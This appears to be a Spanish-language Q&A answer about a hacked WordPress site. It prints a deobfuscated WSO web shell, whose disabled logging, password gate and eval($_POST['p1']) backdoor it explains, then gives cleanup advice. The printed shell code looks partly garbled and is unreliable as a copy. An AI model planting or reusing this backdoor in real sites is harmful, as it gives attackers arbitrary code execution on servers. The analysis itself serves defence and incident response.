WordPress hackeado, se encontró un archivo sospechoso [duplicado]

Yo desenfocé el código para usted, que está codificado usando Ascii Escapes:

<?php 
        $GLOBALS["vrvweypznipu"]="a";
        $GLOBALS["griuefbdqc"]="auth_pass";
        $GLOBALS["ctxvtooknmju"]="v";
        $GLOBALS["pioykcea"]="default_use_ajax";
        $GLOBALS["iwirmxlqtvyp"]="default_action";
        $GLOBALS["dwembjc"]="color";
        $GLOBALS["dwembjc"]="#df5";
        $GLOBALS["iwirmxlqtvyp"]="FilesMan";

        $oboikuury="default_charset";

        $GLOBALS["pioykcea"]=true;

        $oboikuury = "Windows-1251";

        @ini_set("error_log",NULL);
        @ini_set("log_errors",0);
        @ini_set("max_execution_time",0);

        @set_time_limit(0);
        @set_magic_quotes_runtime(0);
        @define("WSO_VERSION","2.5.1");

        if(get_magic_quotes_gpc())
        {
            function WSOstripslashes($array)
            {
                $GLOBALS["zdizbsuefa"]="array";
                $cfnrvu="array";
                $GLOBALS["kcltlpds"]="array";

                return is_array($GLOBALS["zdizbsuefa"]) ? array_map("WSOstripslashes",$GLOBALS["kcltlpds"]) : stripslashes($cfnrvu);
            }

            $_POST = WSOstripslashes($_POST);
            $_COOKIE = WSOstripslashes($_COOKIE);
        }

        function wsoLogin()
        {
            header("HTTP/1.0 404 Not Found");
            die("404");
        }

        function WSOsetcookie($k,$v)
        {
            $GLOBALS["gvflxmt"]="k";
            $cjtmrt="v";
            $COOKIE[$GLOBALS["gvflxmt"]]=$
            {
                $GLOBALS["ctxvtooknmju"]
            };

            $raogrsixpi="k";

            setcookie($raogrsixpi,$cjtmrt);
        }

        $qyvsdolpq="auth_pass";

        if(!empty($qyvsdolpq))
        {
            $rhavvlolc="authpass";
            $ssfmrro="auth_pass";

            if (isset($_POST["pass"]) &&(md5($_POST["pass"])== $ssfmrro))
            {
                WSOsetcookie(md5($SERVER["HTTPHOST"]),$GLOBALS["griuefbdqc"]);
            }

            if(!isset($_COOKIE[md5($_SERVER["HTTP_HOST"])])||($_COOKIE[md5($_SERVER["HTTP_HOST"])]!= $rhavvlolc))
            {
                wsoLogin();
            }
        }

        function actionRC()
        {
            if(!@$_POST["p1"])
            {
                $ugtfpiyrum = "a";
                $GLOBALS["vrvweypznipu"] = array("uname"=>php_uname(), "php_version"=>phpversion(), "wso_version"=>WSO_VERSION, "safemode"=>@ini_get("safe_mode"));

                    echo serialize($ugtfpiyrum);
            }
            else
            {
                eval($_POST["p1"]);
            }
        }

        if(empty($POST["a"]))
            {
                $GLOBALS["isvexy"]="default_action";
                $GLOBALS["uoechymzddd"]="defaultaction";

                if(isset($GLOBALS["iwirmxlqtvyp"]) && function_exists("action".$GLOBALS["uoechymzddd"]))
                {
                    $_POST["a"]=$GLOBALS["isvexy"];

                    else
                    { 
                        $_POST["a"]="SecInfo";
                    }
                }
            }
    if(!empty($_POST["a"])&&function_exists("action".$_POST["a"]))
    {
        call_user_func("action".$_POST["a"]);
    }
    exit; 
?>

Como puede ver, está desactivando su error logging , y no le permite registrar errores, entonces está configurando el max_execution_time en 0 . A juzgar por esta configuración, parece que está intentando evitar que descubras si hay un error y que obtengas más información sobre lo que está pasando en los archivos de registro.

La variable max_execution_time , junto con set_time_limit(0) , se puede usar para permitir que el script se ejecute indefinidamente . El propósito de esto, en general, es permitir que se ejecuten grandes consultas SQL.

Entonces, ¿qué más hace?

Con esta línea aquí:

• eval($_POST["p1"]); ( desofuscado )
• eval($_POST["\x70\x31"]); ( ofuscado )

... le permite al atacante ejecutar cualquier tipo de código PHP que desee en su sistema. En este punto, usted es completamente inseguro y debe asumir que todo está comprometido en su servidor.

La línea eval() se usa para crear una puerta trasera de ejecución de código arbitrario en sus páginas web. Esta línea les permite a POST this: yourpage.php?p1=execute_dangerous_code_here , lo cual es bastante peligroso. Todo el código se basa en ocultarse. Si no envías la variable p1, busca la versión de PHP, etc., y la coloca en $GLOBALS["vrvweypznipu"] , por lo que (probablemente) puede ayudar a encontrar otras vulnerabilidades. Si lo publicas, ejecuta el código y continúa normalmente.

Ahora, esto podría ser bastante propenso a los errores, ya que intenta que tu código arbitrario funcione, a menos que lo hayas probado de antemano, pero no te avisará si hay un error ya que es disabled logging y errors .

Recomiendo encarecidamente matarse desde la órbita con una instalación nueva. Restaurar una copia de seguridad de todos sus archivos de WordPress. Si no tiene copias de seguridad y tiene que confiar en lo que tiene en el servidor, tendrá que limpiarlas usted mismo.

Si sabe cómo codificar, busque algo en sus archivos PHP que contengan esta cadena: " eval($ ", (o incluso " eval( "). Deberá abrir los archivos para editarlos para asegurarse de que son legítimos y, en caso contrario, eliminar todos los archivos que lo contienen. De hecho, si alguna vez ve un código ofuscado como este, suponga que es un truco. No hay prácticamente ninguna razón para codificar así. Ningún servicio legítimo debería hacerlo jamás.

Si eres, como mencionas, "bastante nuevo en esto", no podrás eliminar de forma segura los efectos del hack.

Reinicie desde cero: servidor nuevo, instalación nueva de WordPress y mantenga todo esto actualizado. Puede importar datos de texto / imágenes / video de vuelta. Hay muchos recursos sobre cómo fortalecer un servidor así como WordPress .

Como lo menciona @MarkHulkalo, siempre puedes mantener una copia fuera de línea y usarla para aprender de forma forense a fin de comprender cómo sucedió el hackeo.